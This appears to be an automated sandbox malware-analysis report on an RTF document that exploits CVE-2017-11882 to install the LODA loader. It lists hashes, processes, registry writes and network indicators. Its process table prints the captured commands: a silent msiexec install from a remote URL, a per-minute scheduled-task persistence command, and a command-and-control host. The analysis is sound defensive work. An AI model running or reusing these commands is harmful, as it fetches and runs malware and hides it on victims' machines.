| File name: | ms.doc |
| Full analysis: | https://app.any.run/tasks/2116e64c-f855-4841-a252-9d4bf4a174e7 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | January 18, 2020, 01:13:16 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/rtf |
| File info: | Rich Text Format data, version 1, unknown character set |
| MD5: | A57CFC5062789E3A00980EA5E6A9BA9B |
| SHA1: | 7FBC535EBC7381A2E5A6317B6CF92FD536A5A5CE |
| SHA256: | DCDE7D0C708070F95A2410B8E8C75C6FDF8D36FEE943ED29AA4562D32A1047AB |
| SSDEEP: | 1536:sxxQW3yYvVwi7UgvKCsP2cPM69fCWQHjh5:sxt3vVPwa1wQDv |
MALICIOUS
Downloads executable files from the Internet
- msiexec.exe (PID: 2548)
Uses Microsoft Installer as loader
- cmd.exe (PID: 940)
Equation Editor starts application (CVE-2017-11882)
- EQNEDT32.EXE (PID: 4044)
Changes the autorun value in the registry
- MSIF511.tmp (PID: 3484)
Uses Task Scheduler to run other applications
- cmd.exe (PID: 2344)
LODA was detected
- MSIF511.tmp (PID: 3484)
Loads the Task Scheduler COM API
- schtasks.exe (PID: 332)
Connects to CnC server
- MSIF511.tmp (PID: 3484)
Application was dropped or rewritten from another process
- CMTJKR.exe (PID: 3276)
- CMTJKR.exe (PID: 2140)
- CMTJKR.exe (PID: 3612)
SUSPICIOUS
Executed via COM
- EQNEDT32.EXE (PID: 4044)
- EQNEDT32.EXE (PID: 3740)
Creates files in the user directory
- MSIF511.tmp (PID: 3484)
Executable content was dropped or overwritten
- msiexec.exe (PID: 2548)
- MSIF511.tmp (PID: 3484)
Starts CMD.EXE for commands execution
- EQNEDT32.EXE (PID: 4044)
- MSIF511.tmp (PID: 3484)
Drop ExeToMSI Application
- msiexec.exe (PID: 2548)
Executed via Task Scheduler
- CMTJKR.exe (PID: 3612)
- CMTJKR.exe (PID: 3276)
- CMTJKR.exe (PID: 2140)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 1524)
Application was dropped or rewritten from another process
- MSIF511.tmp (PID: 3484)
Creates files in the user directory
- WINWORD.EXE (PID: 1524)
Writes to a desktop.ini file (may be used to cloak folders)
- msiexec.exe (PID: 2548)
Starts application with an unusual extension
- msiexec.exe (PID: 2548)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rtf | | | Rich Text Format (100) |
|---|
EXIF
RTF
| Author: | obidah qudah |
|---|---|
| LastModifiedBy: | Richard |
| CreateDate: | 2018:01:23 22:18:00 |
| ModifyDate: | 2018:07:03 09:28:00 |
| RevisionNumber: | 23 |
| TotalEditTime: | 12 minutes |
| Pages: | 1 |
| Words: | 17 |
| Characters: | 97 |
| CharactersWithSpaces: | 113 |
| InternalVersionNumber: | 57435 |
| Saveprevpict: | - |
Total processes
50
Monitored processes
12
Malicious processes
3
Suspicious processes
3
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 332 | schtasks /create /tn YECUWH.exe /tr C:\Users\admin\AppData\Roaming\Windata\CMTJKR.exe /sc minute /mo 1 | C:\Windows\system32\schtasks.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 932 | msiexec.exe /i http://www.dunyasanitasyon.org/wp-content/plugins/ubh/hezrkt.msi /quiet | C:\Windows\system32\msiexec.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 940 | cmd.exe & /C CD C: & msiexec.exe /i http://www.dunyasanitasyon.org/wp-content/plugins/ubh/hezrkt.msi /quiet | C:\Windows\system32\cmd.exe | — | EQNEDT32.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1524 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\ms.doc.rtf" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2140 | C:\Users\admin\AppData\Roaming\Windata\CMTJKR.exe | C:\Users\admin\AppData\Roaming\Windata\CMTJKR.exe | — | taskeng.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Version: 3, 3, 8, 1 Modules
| |||||||||||||||
| 2344 | C:\Windows\system32\cmd.exe /c schtasks /create /tn YECUWH.exe /tr C:\Users\admin\AppData\Roaming\Windata\CMTJKR.exe /sc minute /mo 1 | C:\Windows\system32\cmd.exe | — | MSIF511.tmp | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2548 | C:\Windows\system32\msiexec.exe /V | C:\Windows\system32\msiexec.exe | services.exe | ||||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3276 | C:\Users\admin\AppData\Roaming\Windata\CMTJKR.exe | C:\Users\admin\AppData\Roaming\Windata\CMTJKR.exe | — | taskeng.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Version: 3, 3, 8, 1 Modules
| |||||||||||||||
| 3484 | "C:\Windows\Installer\MSIF511.tmp" | C:\Windows\Installer\MSIF511.tmp | msiexec.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Version: 3, 3, 8, 1 Modules
| |||||||||||||||
| 3612 | C:\Users\admin\AppData\Roaming\Windata\CMTJKR.exe | C:\Users\admin\AppData\Roaming\Windata\CMTJKR.exe | — | taskeng.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Version: 3, 3, 8, 1 Modules
| |||||||||||||||
Total events
2 354
Read events
1 162
Write events
1 049
Delete events
143
Modification events
| (PID) Process: | (1524) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | z0? |
Value: 7A303F00F4050000010000000000000000000000 | |||
| (PID) Process: | (1524) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (1524) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (1524) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (1524) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (1524) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (1524) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (1524) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (1524) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (1524) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1345454142 | |||
Executable files
3
Suspicious files
2
Text files
11
Unknown types
7
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1524 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRE0DA.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2548 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DF5FE973FA2ABF8BF0.TMP | — | |
MD5:— | SHA256:— | |||
| 2548 | msiexec.exe | C:\Windows\Installer\MSIECFF.tmp | executable | |
MD5:— | SHA256:— | |||
| 1524 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 2548 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\desktop.ini | ini | |
MD5:4A3DEB274BB5F0212C2419D3D8D08612 | SHA256:2842973D15A14323E08598BE1DFB87E54BF88A76BE8C7BC94C56B079446EDF38 | |||
| 2548 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.dat | dat | |
MD5:— | SHA256:— | |||
| 2548 | msiexec.exe | C:\Windows\Installer\MSIF378.tmp | binary | |
MD5:— | SHA256:— | |||
| 2548 | msiexec.exe | C:\Windows\Installer\38f2bd.ipi | binary | |
MD5:— | SHA256:— | |||
| 1524 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\ms.doc.rtf.LNK | lnk | |
MD5:— | SHA256:— | |||
| 1524 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
2
DNS requests
2
Threats
12
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2548 | msiexec.exe | GET | 200 | 160.153.138.71:80 | http://www.dunyasanitasyon.org/wp-content/plugins/ubh/hezrkt.msi | US | executable | 844 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2548 | msiexec.exe | 160.153.138.71:80 | www.dunyasanitasyon.org | GoDaddy.com, LLC | US | malicious |
3484 | MSIF511.tmp | 79.142.76.244:2089 | success20.hopto.org | AltusHost B.V. | SE | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.dunyasanitasyon.org |
| malicious |
success20.hopto.org |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2548 | msiexec.exe | Potential Corporate Privacy Violation | SUSPICIOUS [PTsecurity] Executable application_x-msi Download |
2548 | msiexec.exe | Potential Corporate Privacy Violation | POLICY [PTsecurity] Executable application_x-msi Download |
2548 | msiexec.exe | Misc activity | SUSPICIOUS [PTsecurity] Executable ExeToMSI Download |
1080 | svchost.exe | Potentially Bad Traffic | ET POLICY DNS Query to DynDNS Domain *.hopto .org |
3484 | MSIF511.tmp | A Network Trojan was detected | MALWARE [PTsecurity] Loda Logger CnC Beacon |
7 ETPRO signatures available at the full report